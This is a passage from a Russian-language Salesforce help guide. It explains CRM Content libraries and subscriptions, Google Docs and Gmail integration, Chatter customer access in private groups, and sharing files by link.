Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к Salesforce
CRM Content:
• Флажок «Пользователь

Salesforce CRM
Content»,
установленный на
странице личных
сведений

Связанный список «Содержимое» на странице сведений о записи содержит ссылки на
все содержимое, связанное с данной записью в Salesforce CRM Content. Чтобы открыть
страницу сведений о содержимом, щелкните имя нужного файла.

Просмотр опубликованногофайла в связанном списке «Содержимое» доступен только
тем пользователям Salesforce CRM Content, которые являются участниками библиотеки,
где опубликовано данное содержимое. Например, если при публикациифайла
BigDealStrategy.doc вбиблиотеку «Рекламныематериалы» выбранавозможность
«Крупнаясделка», тосвязанныйсписок «Содержимое» длявозможности «Крупнаясделка»
будет отображать ссылку на файл BigDealStrategy.doc только для участников
библиотеки «Рекламные материалы». Ссылка не будет доступна тем пользователям,
которые не являются участниками данной библиотеки.

Связанныйсписок «Связанноесодержимое» можетиспользоватьсядлядоступакSalesforce
CRM Content со страниц сведенийобинтересах, организациях, контактах, возможностях,
продуктах, обращениях или настраиваемых объектах. Дополнительную информацию
см. в разделе «Поиск содержимого Salesforce CRM Content, связанного с записями» на
странице 3396.

СМ. ТАКЖЕ:

Salesforce CRM Content
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Просмотр и редактирование подписок на содержимое

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для подписки на
содержимое:
• Флажок «Пользователь

Salesforce CRM
Content»,
установленный на
странице личных
сведений

И

Участник библиотеки

Чтобы открыть начальную страницу подписок, позволяющую просматривать,
активировать или отменять подписки Salesforce CRM Content, выберите вкладку
«Подписки».

Прим.: Чтобыподписатьсянафайл, пакет содержимого, веб-ссылкуилидокумент
Google, откройте страницу сведений о содержимом ищелкните «Не подписан».
Кроме того, страница сведений о содержимом позволяет подписаться на теги,
авторов или библиотеки с помощью раскрывающихся меню, расположенных
напротив их имен.

Чтобы просмотреть подписки, откройте вложенную вкладку «Содержимое», «Теги»,
«Авторы» или «Библиотеки» на вкладке «Подписки». В зависимости от заданных
параметров уведомлений, сообщения об изменении подписанного содержимого
отправляются в режиме реального времени или один раз в день.

Совет: Чтобы настроить параметры уведомлений, откройте страницу личных
сведений, нажмите кнопку «Правка» и установите флажок «Принимать
электронные предупреждения Salesforce CRM Content». Чтобы получать
уведомления не чаще одного раза в день, установите флажок «Принимать
предупреждения Salesforce CRM Content в качестве ежедневной рассылки».

Ниже перечислены случаи отправки уведомлений.

• Пользователь, подписавшийся нафайл, получает уведомления о добавленииновых
комментариевилипубликацииновойверсиифайла. Пользователь, подписавшийся
на веб-ссылку или документ Google, получает уведомления только о добавлении
новых комментариев.

• Пользователь, подписавшийся на пакет содержимого, получает уведомления о
публикации новой версии пакета. Уведомления о публикации новой версиифайла
отправляются только в случае подписки на отдельные файлы пакета содержимого.

• Пользователь, подписавшийсяна тег, получает уведомленияопубликациинового содержимого, связанного с данным
тегом. Чтобыполучатьуведомленияодобавленииновыхверсийсодержимого, связанногосданнымтегом, рекомендуем
подписаться на содержимое.

• Пользователь, подписавшийсяна автора, получает уведомленияопубликациинового содержимогоданнымавтором.
Чтобыполучатьуведомленияодобавленииновыхверсийсодержимого, принадлежащегоданномуавтору, рекомендуем
подписаться на содержимое.

• Пользователь, подписавшийсянабиблиотеку, получает уведомленияодобавленииновогосодержимоговбиблиотеку,
в том числе приповторном связывании текущего содержимого с данной библиотекой. Чтобыполучать уведомления
о добавлении новых версий содержимого библиотеки, рекомендуем подписаться на содержимое.

СМ. ТАКЖЕ:

Обновление версий содержимого

Отслеживание файла

Загрузка новой версии файла
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Просмотр и редактирование библиотек

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
библиотеки:
• «Управление Salesforce

CRM Content»

ИЛИ

Флажок «Управление
библиотеками»,
установленный в
определении
полномочий
библиотеки

Для добавления или
удаления участников
библиотек:
• «Управление Salesforce

CRM Content»

ИЛИ

Флажок «Управление
библиотеками»,
установленный в
определении
полномочий
библиотеки

Чтобы просмотреть подробные сведения о библиотеке, щелкните имя нужной
библиотеки Salesforce CRM Content вразделе «Моибиблиотеки»наначальнойстранице
вкладки «Библиотеки» или на странице сведений о содержимом. Дополнительную
информациюопараметрахпубликации, расположенныхвверхустраницы, см. вразделе
«Загрузка и публикация содержимого».

Ниже перечислены быстрые ссылки, доступные в области заголовка библиотеки.

• «Обзор»: просмотррезультатовпоиска, отображающихвсесодержимоебиблиотеки.

• «Правка»: изменение имени или описания библиотеки.

• «Удалить»: удаление пустой библиотеки. Чтобы удалить заполненнуюбиблиотеку,
рекомендуем сначала переместить ее содержимое в другую библиотеку или удалить
содержимое и очистить корзину.

Прим.: Библиотека, содержимое которой удалено из собственной корзины,
но хранится в корзине другого пользователя, не может быть удалена. Чтобы
удалить библиотеку, рекомендуем полностью удалить все ее содержимое или
переместить его в другую библиотеку.

• «Редактировать участников»: добавление или удаление участников библиотеки
и изменение их полномочий.

• «Правила присвоения тегов»: изменение способа присвоения тегов, выбранного
для библиотеки.

• «Типы записей»: ограничение типов записей, доступных авторам библиотеки.

• «Просмотр архивного содержимого»: просмотр списка архивного содержимого
библиотеки. Содержимое, добавленное в архив другими пользователями,
отображается только при наличиифлажка «Архивировать содержимое» или
«Управление библиотеками» в определении полномочий библиотеки.

Ниже перечислены разделы, доступные на странице сведений о библиотеке.

Участники
Данный раздел содержит всех пользователей Salesforce CRM Content, являющихся
участниками библиотеки. Чтобы ограничить список участников, введите имя
пользователя и нажмите кнопку «Фильтр». Фильтрация может быть выполнена по
начальным буквам имени пользователя, но не его фамилии.

Чтобыдобавитьновыхучастниковвбиблиотеку, выполнитеуказанныенижедействия.

1. Нажмите кнопку «Добавить участников».

2. Если добавляемый участник отсутствует в списке, введите имя участника в поле
поиска и нажмите кнопку «Поиск».

3. Выберитенужныхучастниковвполе «Доступныеучастники». Участникамимогут
быть как отдельные пользователи Salesforce CRM Content, так и общедоступные
группы пользователей Salesforce CRM Content.

Совет: При наличии большого количества пользователей Salesforce CRM Content рекомендуем создать
общедоступную группу и добавить ее в библиотеку, а не добавлять пользователей по отдельности.

4. Чтобы добавить участников в библиотеку, нажмите кнопку «Добавить».
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5. Нажмите кнопку «Далее».

6. Выберите полномочие библиотеки для каждого пользователя или общедоступной группы и нажмите кнопку
«Сохранить».

Чтобы удалить участника из библиотеки, щелкните ссылку «Удалить». Чтобы изменить полномочие участника в
библиотеке, щелкните ссылку «Правка» и выберите новое полномочие в раскрывающемся списке.

Специальное содержимое
В данном разделе отображается последнее содержимое библиотек, помеченное в качестве специального (не более
5 записей). Данныйраздел отображается только приналичии специального содержимого. Специальное содержимое
имеет более высокий приоритет в результатах поиска. Например, в результате поиска по критерию «актив продаж»
всефайлы, содержащиеданныйкритерийипомеченныекак специальные, будутотображаться в верхнейчастисписка.
Чтобы просмотреть все специальное содержимое, нажмите кнопку «Показать все». Чтобы изменить статус
специального содержимого, откройте страницу сведений о содержимом.

Популярное содержимое
В данном разделе отображаются списки содержимого библиотек. Чтобы загрузить содержимое, щелкните значок
файла в списке. Чтобы открыть связанную страницу сведений, щелкните заголовок нужного содержимого. Ниже
перечислены категории, доступные в разделе «Популярное содержимое».

• «Дата публикации»: содержимое сортируется по дате публикации; содержимое, опубликованное последним,
отображается в верхней части списка. Чтобы определить количество отображаемых записей, выберите нужное
число в соответствующемраскрывающемся списке. Чтобы просмотреть все опубликованныефайлы, веб-ссылки
и документы Google, нажмите кнопку «Показать все».

• «Количествозагрузок»: содержимоесортируетсяпоколичествузагрузок; содержимоеснаибольшимколичеством
загрузок отображается в верхнейчасти списка. Для сравнения записейиспользуется столбчатая диаграмма. Чтобы
определить количество отображаемых записей, выберите нужное число в соответствующем раскрывающемся
списке. Чтобы просмотреть все загруженное содержимое, нажмите кнопку «Показать все».

• «Рейтинг»: содержимое сортируется по количеству положительных оценок; содержимое с наибольшим
количеством положительных оценок отображается в верхней части списка. Положительные и отрицательные
оценки отображаются в диаграмме зеленым и красным цветом соответственно. Чтобы определить количество
отображаемыхзаписей, выберитенужноечислов соответствующемраскрывающемся списке. Чтобыпросмотреть
все содержимое с любыми оценками, нажмите кнопку «Показать все».

• «Количествокомментариев»: содержимоесортируетсяпоколичествукомментариев; содержимоеснаибольшим
количествомкомментариевотображается в верхнейчасти списка. Для сравнения записейиспользуется столбчатая
диаграмма. Чтобы определить количество отображаемых записей, выберите нужное число в соответствующем
раскрывающемся списке. Чтобы просмотреть все содержимое со связанными комментариями, нажмите кнопку
«Показать все».

Популярные теги
В данном разделе (также известный как «облако тегов») отображаются теги, присвоенные содержимому библиотек.
Теги — это описательные метки, присвоенные во время загрузки или проверки содержимого, которые позволяют
классифицировать и систематизировать содержимое библиотек. Чтобы просмотреть все файлы, веб-ссылки и
документы Google, помеченные определенным тегом, щелкните имя нужного тега. Размер имени тега в облаке тегов
зависит от его популярности, то есть теги самого крупного размера назначены наибольшему количеству файлов.
Сортировка тегов может быть выполнена по алфавиту или по популярности. Облако тегов содержит 30 самых
популярных тегов.

Недавние действия
Данныйразделсодержитмоментальныйснимокпоследнихдействийвбиблиотеке. Наснимкеотображаютсяфайлы,
веб-ссылки и документы Google, использовавшиеся последними для комментирования, голосования или подписки.
Такжеотображается специальноесодержимоеисодержимое, опубликованноепоследним. Данныйразделнесодержит
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новых версий текущего, архивного и удаленного содержимого. Чтобы просмотреть список записей, воспользуйтесь
кнопками «Более старые» и «Более новые». Раздел «Недавние действия» может содержать не более 100 записей.

Самые активные авторы
Данный раздел содержит список авторов, которые чаще других загружают содержимое в библиотеки. Размер имени
автора зависитот его активности, то естьимена самого крупногоразмерапринадлежат тем авторам, которыедобавили
в библиотеку больше содержимого.

СМ. ТАКЖЕ:

Управление библиотеками

Обновление версий содержимого

Управление библиотеками

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания библиотек:
• «Управление Salesforce

CRM Content»

ИЛИ

«Создание библиотек»

Для редактирования
библиотек:
• «Управление Salesforce

CRM Content»

ИЛИ

Флажок «Управление
библиотеками»,
установленный в
определении
полномочий
библиотеки

Вкладка«Библиотеки»позволяетоткрыватьличнуюбиблиотеку, создаватьбиблиотеки,
выбирать библиотеки для просмотра или редактирования, а также анализировать
показателииспользованияиактивностибиблиотек. For details about the publishing options
at the top of the page, see Upload and Publish Content. Начальная страница библиотек
содержит две вкладки: «Общедоступное содержимое» (сведения об общедоступных
библиотеках) и «Мои личные файлы» (сведения о личной библиотеке).

Общедоступное содержимое

Ниже перечислены разделы, доступные на вкладке «Общедоступное содержимое».

Мои библиотеки
Данный раздел содержит все доступные библиотеки. Чтобы просмотреть сведения
обиблиотеке, щелкнитеимянужнойбиблиотеки. Чтобыпросмотретьвсесодержимое
библиотеки, щелкните ссылку «Обзор». Чтобы создать библиотеку, добавить
пользователейвбиблиотекуилиназначитьпользователямполномочиябиблиотеки,
нажмите кнопку «Создать».

Специальное содержимое
В данном разделе отображается последнее содержимое библиотек, помеченное в
качестве специального (не более 5 записей). Специальное содержимое имеет более
высокийприоритетврезультатахпоиска. Например, врезультатепоискапокритерию
«актив продаж» все файлы, содержащие данный критерий и помеченные как
специальные, будут отображаться в верхней части списка. Чтобы просмотреть все
специальное содержимое, нажмите кнопку «Показатьвсе». Чтобыизменить статус
специального содержимого, откройте страницу сведений о содержимом.

Популярное содержимое
В данном разделе отображаются списки содержимого библиотек. Каждый список
позволяет сортировать содержимое по определенному критерию. Чтобы загрузить
содержимое, щелкните значок файла в списке. Чтобы открыть связанную страницу
сведений, щелкните заголовокнужногосодержимого. Нижеперечисленыкатегории,
доступные в разделе «Популярное содержимое».

• «Датапубликации»: содержимое сортируетсяподатепубликации; содержимое,
опубликованное последним, отображается в верхней части списка. Чтобы
определить количество отображаемых записей, выберите нужное число в
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соответствующем раскрывающемся списке. Чтобы просмотреть все опубликованные файлы, веб-ссылки и
документы Google, нажмите кнопку «Показать все».

• «Количествозагрузок»: содержимоесортируетсяпоколичествузагрузок; содержимоеснаибольшимколичеством
загрузок отображается в верхнейчасти списка. Для сравнения записейиспользуется столбчатая диаграмма. Чтобы
определить количество отображаемых записей, выберите нужное число в соответствующем раскрывающемся
списке. Чтобы просмотреть все загруженное содержимое, нажмите кнопку «Показать все».

• «Рейтинг»: содержимое сортируется по количеству положительных оценок; содержимое с наибольшим
количеством положительных оценок отображается в верхней части списка. Положительные и отрицательные
оценки отображаются в диаграмме зеленым и красным цветом соответственно. Чтобы определить количество
отображаемыхзаписей, выберитенужноечислов соответствующемраскрывающемся списке. Чтобыпросмотреть
все содержимое с любыми оценками, нажмите кнопку «Показать все».

• «Количествокомментариев»: содержимоесортируетсяпоколичествукомментариев; содержимоеснаибольшим
количествомкомментариевотображается в верхнейчасти списка. Для сравнения записейиспользуется столбчатая
диаграмма. Чтобы определить количество отображаемых записей, выберите нужное число в соответствующем
раскрывающемся списке. Чтобы просмотреть все содержимое со связанными комментариями, нажмите кнопку
«Показать все».

Популярные теги
В данном разделе (также известный как «облако тегов») отображаются теги, присвоенные содержимому библиотек.
Теги — это описательные метки, присвоенные во время загрузки или проверки содержимого, которые позволяют
классифицировать и систематизировать содержимое библиотек. Чтобы просмотреть все файлы, веб-ссылки и
документы Google, помеченные определенным тегом, щелкните имя нужного тега. Размер имени тега в облаке тегов
зависит от его популярности, то есть теги самого крупного размера назначены наибольшему количеству файлов.
Сортировка тегов может быть выполнена по алфавиту или по популярности. Облако тегов содержит 30 самых
популярных тегов.

Недавние действия
Данныйразделсодержитмоментальныйснимокпоследнихдействийвбиблиотеках. Наснимкеотображаютсяфайлы,
веб-ссылки и документы Google, использовавшиеся последними для комментирования, голосования или подписки.
Такжеотображается специальноесодержимоеисодержимое, опубликованноепоследним. Данныйразделнесодержит
новых версий текущего, архивного и удаленного содержимого. Чтобы просмотреть список записей, воспользуйтесь
кнопками «Более старые» и «Более новые». Раздел «Недавние действия» может содержать не более 100 записей.

Самые активные авторы
Данныйраздел содержит список авторов, которыечащедругихпубликуютсодержимое вбиблиотеках. Размеримени
автора зависитот его активности, то естьимена самого крупногоразмерапринадлежат тем авторам, которыедобавили
в библиотеку больше содержимого.

Мои личные файлы

Вкладка «Мои личные файлы» на начальной странице библиотек является личной библиотекой. Загруженное или
созданное содержимое, которое не было добавлено в общедоступную библиотеку, сохраняется в личной библиотеке.
Содержимое может храниться в личной библиотеке в течение неопределенного времени и при необходимости быть
опубликовано в общедоступную библиотеку. Содержимое личной библиотеки может использоваться при компоновке
пакетов содержимого. Кроме того, функция доставки содержимого позволяет отправлять содержимое интересам и
контактам за пределы организации. Дополнительную информацию см. в разделе «Настройка доставок содержимого»
на странице 3726. Ниже перечислены разделы, доступные на вкладке «Мои личные файлы».

Личная библиотека
Чтобы сохранить публикуемыйфайл, веб-ссылку, пакет содержимого или документ Google в личную библиотеку,
установите переключатель «Сохранить в мою личную библиотеку». Данный список позволяет публиковать и
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удалять файлы, а также просматривать страницы сведений о содержимом. Содержимое личной библиотеки не
поддерживает следующиефункции, доступныена страницах сведенийоб общедоступном содержимом: присвоение
тегов, изменение рейтинга, подписка, отслеживание количества загрузок и подписок, а также использование
настраиваемыхполей. Чтобыудалитьфайл, публикуемыйпосредствомсписка «Личнаябиблиотека», нажмитекнопку
«Отмена» во время публикации.

Загрузка прервана
Данный раздел содержит файлы, при загрузке которых произошла ошибка (например, сбой в работе обозревателя
илиистечениевременисеанса). Чтобыопубликоватьфайлвобщедоступнуюбиблиотекуилисохранить его вличную
библиотеку, нажмите кнопку «Опубликовать». Чтобы удалить файл, нажмите кнопку «Отмена» в диалоговом окне
«Сохранить или опубликовать содержимое».

Загрузка новой версии прервана
Данный раздел содержит файлы, при загрузке новых версий которых произошла ошибка. Пользователям будет
доступна исходная версия файла. Чтобы опубликовать файл в общедоступную библиотеку или сохранить его в
личнуюбиблиотеку, нажмитекнопку«Опубликовать». Чтобыудалитьфайл, нажмитекнопку«Отмена» вдиалоговом
окне «Сохранить или опубликовать содержимое».

СМ. ТАКЖЕ:

Настройка доставок содержимого

Создание и изменение пакетов содержимого в Salesforce CRM Content

Google Apps

Общие сведения о Google Apps

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Google Apps™ — это набор интерактивных служб, предназначенных для обмена
информацией и совместной работы, которые поддерживаются компанией Google и
разработаныдлябизнес-пользователей. СистемаSalesforceинтегрируетосновныеслужбы
Google Apps и поддерживает приложения AppExchange, позволяющие настраивать и
расширять функции, связанные с Google.

Ниже перечислены службы Google Apps, интегрированные в систему Salesforce. Данные
службы должны быть активированы администратором Salesforce.

Добавление документов Google в систему Salesforce
СлужбаGoogle Docs™позволяет создаватьиредактироватьнастраиваемыедокументы,
таблицы и презентации, а также поддерживает возможность общего доступа с
коллегами.Нижеперечисленыдействия, доступныепользователюпослеактивациислужбы «Добавлениедокументов
Google в систему Salesforce».

• Использованиесвязанногосписка «Документы Google, примечанияивложения» или «Документы Googleивложения»
в любой записи Salesforce для создания, редактирования или просмотра документов Google и их связывания с
записью.

• Предоставление общего доступа к документам Google любому пользователю Google Apps в организации.

• Связывание документовGoogle с записями Salesforce (даже в том случае, если вход в систему Salesforceне выполнен)
с помощью веб-кнопки «Добавить документ Google в Salesforce».

• ДобавлениедокументовGoogleвхранилищеSalesforce CRM Content, поддерживающеецентрализованноеуправление
всеми типами содержимого.
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Отправить сообщение Gmail в Salesforce
Gmail™ — этопочтоваяслужба, котораядоступначерезлюбойстандартныйобозревательиподдерживаетиспользование
корпоративного домена. Служба «Отправить сообщениеGmail в Salesforce» позволяет автоматически регистрировать
сообщения эл. почты, отправленные из аккаунта Gmail, в качестве действий по интересам и контактам Salesforce.

Кнопки и ссылки Gmail

Служба «Кнопки и ссылки Gmail» позволяет добавить ссылки Gmail рядом с полями эл. почты всех записей и кнопки
«Создать новое сообщение Gmail» в связанные списки интересов и контактов «Журнал действий». При выборе
ссылки Gmail или кнопки «Создать новое сообщение Gmail» система Salesforce выполняет автоматический вход в
аккаунтGmailизаполняетполе «Кому». Еслиорганизацияиспользует службу «ОтправитьсообщениеGmail в Salesforce»,
то система Salesforce автоматически заполняет поле «СК» адресом Email to Salesforce.

Использование документов Google в Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования службы
«Документы Google» в
системе Salesforce:
• «Чтение» для

соответствующего типа
записи

И

Аккаунт Google Apps

Служба Google Docs™ позволяет создавать и редактировать настраиваемые документы,
таблицы и презентации («Документы Google») в режиме реального времени, а также
поддерживает возможность общего доступа с коллегами. Содержимое документов
хранится в Google, поэтому обновленные версии документов и история их изменений
могутбытьпросмотреныпользователямипрямов аккаунтеGoogle Apps (вместоотправки
вложений по эл. почте).

Нижеперечисленыспособыинтеграциислужбы «Документы Google» в системуSalesforce.
Начальная страница «Документы» в аккаунте Google Apps содержит список всех
документов, презентаций и таблиц Google, созданных текущим пользователем или
предоставленных другими пользователями Google Apps для совместного доступа.

Дополнительную информацию о службе «Документы Google» см. в интерактивной
справке Google.
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Добавление документов Google в систему Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания документа
Google и его связывания с
записями Salesforce:
• «Редактирование» для

соответствующего типа
записи

И

Аккаунт Google Apps

Вы можете добавить существующий документ Google к любой записи или библиотеке
Salesforce.

Прим.: Чтобы использовать службы Google Apps в системе Salesforce, выполните
вход в бизнес-аккаунт Google Apps. В бизнес-аккаунтах используется домен
организации (например, ivan.petrov@kompaniya.ru). Чтобы уточнить имя
пользователя и пароль Google Apps, обратитесь к администратору.

Добавление документа Google к записи Salesforce

1. Откройтеобращение, коммерческуювозможностьиликакую-нибудьдругуюзапись.

2. В связанном списке документы Google, заметки и вложения или в связанном списке
документы Google и вложения щелкните добавить документ Google.

3. Введите имя документа Google.

4. Введите URL нужного документа Google.

5. Нажмите кнопку «Сохранить».

Добавление документа Google в библиотеку Salesforce CRM Content

1. На вкладкеБиблиотеки либо на странице сведений о библиотеке щелкните
Добавить документ Google. Выполните вход в приложения Google, если об этом
будет выведен запрос.

2. Введите URL нужного документа Google.

3. ЩелкнитеДобавить.

4. Введите заголовок и выберите библиотеку. См. Опубликование файлов в библиотеках, чтобы ознакомиться с
подробными инструкциями по опубликованию контента в библиотеке.

5. Нажмите кнопку «Опубликовать».

Прим.: Прежде чем закрыть документ Google, предоставьте другим пользователям Google Apps общий доступ к
этому документу. Приложение Salesforce позволяет открывать документ Google только тем пользователям, которые
имеют доступ к данному документу в учетной записи приложения Google.

Совет: Дополнительную информацию о службе «Документы Google» см. в интерактивной справке Google.

СМ. ТАКЖЕ:

Использование документов Google в Salesforce
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Сотрудничество с партнерами и клиентами

Группы клиентов Chatter

Общие сведения о клиентах Chatter в личных группах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

КлиентыChatter — этопользователи, находящиесязапределамикорпоративныхдоменов
эл. почты, которые могут просматривать и взаимодействовать с участниками только тех
групп, в которые они были приглашены. Клиентам недоступны данные Salesforce.

Клиенты Chatter...

• могут быть добавлены в Chatter при условии, что:

– менеджер или ответственный за группу приглашает клиентов в группу.

– Администратор добавляет их в меню «Настройка», введя Пользователи в поле
«Быстрый поиск» и выбрав параметр «Пользователи».

• могут просматривать только:

– группы, участниками которых они являются.

– участников этих групп. Клиенты могут просматривать только ограниченные профили, включая фотографии,
имена, должности, адреса эл. почты, участников общих групп, общиефайлы, статистику по действиям и степени
влияния. Публикация в профилях им недоступна.

– файлы, доступные в группах, участниками которых они являются.

• не могут просматривать:

– записи и прочие данные Salesforce, включая результаты поиска.

– темы, включая темы в ленте, списке тем, на страницах сведений о темах, в разделах «Темы недавних обсуждений»
и «Самые обсуждаемые темы». (Клиенты могут просматривать темы с хэштегами.)

– рекомендации и не могут быть рекомендованы другим пользователям. Кроме того, группы, поддерживающие
доступ клиентов, также не могут быть рекомендованы.

• отображаются в качестве клиентов в профилях и группах с их участием. Фотографии клиентов и групп, содержащих
клиентов, помечаются оранжевым верхним левым углом.

• имеютограниченныепрофили, включаяимена, фотографии, должности, компании, адресаэл. почты, ленты, участников
групп, ответственность за файлы, статистику по действиям и степени влияния.

• недоступны для отслеживания. Кроме того, клиенты не могут отслеживать пользователей и файлы.

• могутбытьменеджерамииучастникамигруппы. Клиент, являющийсяменеджером, можетпросматриватьпользователей,
которые запрашиваютдобавлениев группу (несмотрянаихотсутствиевдругихобщих группах), иутверждать запросы.

• не могут нести ответственность, создавать, удалять, модерировать, присоединяться или отправлять запросы на
добавление в группы.

• могут приглашать пользователей, находящихся с ними в общих группах, в группы, которыми они управляют.

• не могут приглашать пользователей, находящихся внутри корпоративного домена, чьи профили им недоступны.

• не могут общаться на странице 3306 с другими пользователями.
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Прим.:

• Приглашенному в качестве клиента предоставляются уникальные учетные данные для входа в группу, несмотря
на то, что он может уже являться участником другой организации Salesforce. Другие учетные данные Salesforce не
могут использоваться для входа в группу, поддерживающую клиентский доступ.

• Если вход в группу не может быть выполнен, рекомендуем убедиться в использовании имени пользователя и
пароля, указанныхвприветственномсообщенииэл. почты, котороеотправляется зарегистрированнымклиентам.
При повторном возникновении ошибки обратитесь к администратору.

• Чтобывосстановитьпароль, клиентможетвоспользоватьсяфункциейвосстановленияпароля. Чтобывосстановить
имя пользователя, клиент должен обратиться к администратору соответствующей организации.

Рекомендации для пользователей мобильных устройств
Клиенты Chatter могут выполнять вход и использовать приложения Salesforce1, а также приложение Chatter Mobile для
BlackBerry. Данные приложения применяют к пользователям-клиентам те же ограничения, что и интерактивная версия
Chatter.

СМ. ТАКЖЕ:

Группы Chatter

Добавление и удаление клиентов в группах Chatter

Добавление и удаление клиентов в группах Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Еслиорганизацияподдерживаетклиентскиеприглашения, тоответственныеименеджеры
личной группы могут добавлять, удалять и приглашать клиентов в те группы, которые
поддерживают доступ клиентов.

1. Откройте страницу сведений о группе.

2. Чтобы добавить пользователей, которые уже не являются клиентами компании,
щелкните «Пригласить людей» или «Добавить или удалить участников» >
«Пригласитьихв Salesforce Chatter!». Введите адреса эл. почтычерез запятую, при
необходимости добавьте сообщение и нажмите кнопку «Отправить».

Пользователь, принявшийприглашение, присоединяется к сетиChatterистановится
участником группы.

3. Чтобыдобавитьпользователей, которыеужеявляютсяклиентамикомпании, щелкните
«Добавить или удалить участников» и выполните указанные ниже действия.

• Воспользуйтесь полем «Поиск людей».

• Выберите фильтр «Участники» группы или «Каждый» в компании.

• Чтобы ознакомиться с полным списком, щелкните «Далее» или «Назад».

• Чтобы добавить клиента, нажмите кнопку «Добавить». Чтобы удалить клиента, щелкните значок .

• По завершении нажмите кнопку «Готово».
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Прим.:

• Приглашенному в качестве клиента предоставляются уникальные учетные данные для входа в группу, несмотря
на то, что он может уже являться участником другой организации Salesforce. Другие учетные данные Salesforce не
могут использоваться для входа в группу, поддерживающую клиентский доступ.

• Если вход в группу не может быть выполнен, рекомендуем убедиться в использовании имени пользователя и
пароля, указанныхвприветственномсообщенииэл. почты, котороеотправляется зарегистрированнымклиентам.
При повторном возникновении ошибки обратитесь к администратору.

• Чтобывосстановитьпароль, клиентможетвоспользоватьсяфункциейвосстановленияпароля. Чтобывосстановить
имя пользователя, клиент должен обратиться к администратору соответствующей организации.

СМ. ТАКЖЕ:

Добавление и удаление участников группы Chatter

Просмотр участников группы Chatter

Предоставление общего доступа к файлам по ссылке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Общий доступ кфайлу может быть предоставлен путем создания ссылки и ее отправки
по эл. почте или посредством мгновенного сообщения. В этом случае создается
зашифрованный URL-адрес, который может быть отправлен любому получателю
(например, интересу, сотруднику, клиентуилипартнеру) внутриизапределамикомпании.
Привыборессылкиотображаетсяинтерактивнаяверсияфайла, доступнаядляпросмотра
и загрузки.По умолчанию в большинстве организаций, использующих сеть Chatter,
общий доступ к файлу предоставляется именно посредством ссылки. Чтобы включить
функцию общего доступа по ссылке, администраторы должны включить указанные
ниже полномочия.

1. Введитестроку «Доставки содержимого» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Доставки содержимого». Установите флажки «Включить
доставки содержимого» и «Включить создание доставок содержимого для файлов
Chatter».

2. Введите строку «Наборы полномочий» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Наборы
полномочий». Выберите нужный набор полномочий, щелкните «Полномочия системы» и установите флажок
«Создание и публикация ссылок на файлы Chatter».

3. Вразделе «Настройка» введите «Профили» вполе «Быстрый поиск», затемвыберите«Профили». Выберитенужный
профиль и щелкните «Правка». Установите флажок «Создание и публикация ссылок на файлы Chatter» в
разделе «Общие полномочия пользователя». Данное полномочие не требуется для файлов в общедоступных
библиотеках Salesforce CRM Content. Наоборот, выполните действия 1 и 2, а также убедитесь, чтопользователь является
участником библиотеки, а в определении полномочия библиотеки установлен флажок «Доставить содержимое».

Чтобы создать и опубликовать ссылку на файл, выполните указанные ниже действия.

1. Ниже перечислены области, позволяющие предоставить общий доступ к файлу.

• Настранице «Файлы»: нажмите кнопки «Загрузитьфайл»и «Обзор», выберителокальныйфайл; затемщелкните
«Общий доступ по ссылке» > «Загрузить».

• На вкладке «Начальная страница»: последовательно выберите пункты «Создать...» > «Файл», нажмите кнопку
«Обзор» и выберите файл со своего компьютера, затем выберите «Общий доступ по ссылке» > «Загрузить».
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• На странице сведений о файле: щелкните «Параметры общего доступа кфайлу» > «По ссылке...».

• В диалоговом окне «Параметры общего доступа»: выберите ссылку «Любойс ссылкой» в списке «Общий доступ
с».

• Настранице «Файлы», в списке «Файлы группы» или «Файлы, принадлежащие...»: щелкните ссылку  > «Общий
доступ по ссылке» рядом с нужнымфайлом.

• Рядомсфайломвлентеиливокне, всплывающемпринаведенииуказателямышинаимяфайла: щелкните ссылку
«Дополнительныедействия» > «Параметрыобщегодоступакфайлу»ивыберитессылку«Любойсссылкой»
в списке «Общий доступ с».

• В папке Salesforce Files Sync на рабочем столе: правой кнопкой мышищелкните нужныйфайл, выберите параметр
«Salesforce Files Sync», а затем выберите «Общий доступ по ссылке».

2. Нажмите кнопку «Копировать» (при ее наличии) или скопируйте ссылку вручную и вставьте ее в сообщение эл.
почты или мгновенное сообщение. Получатели данной ссылки могут только просматривать и загружать файлы.
Изменение файлов не поддерживается.

Если файл не является публичным, значит, он доступен в частном порядке и для него отображается соответствующий
значок ( ). Данныйфайл больше нигде не публикуется и доступен для поиска и просмотра только определенным

пользователям. Если файл является публичным, отображается соответствующий значок ( ). Данныйфайл доступен
для поиска и просмотра всем пользователям в компании.

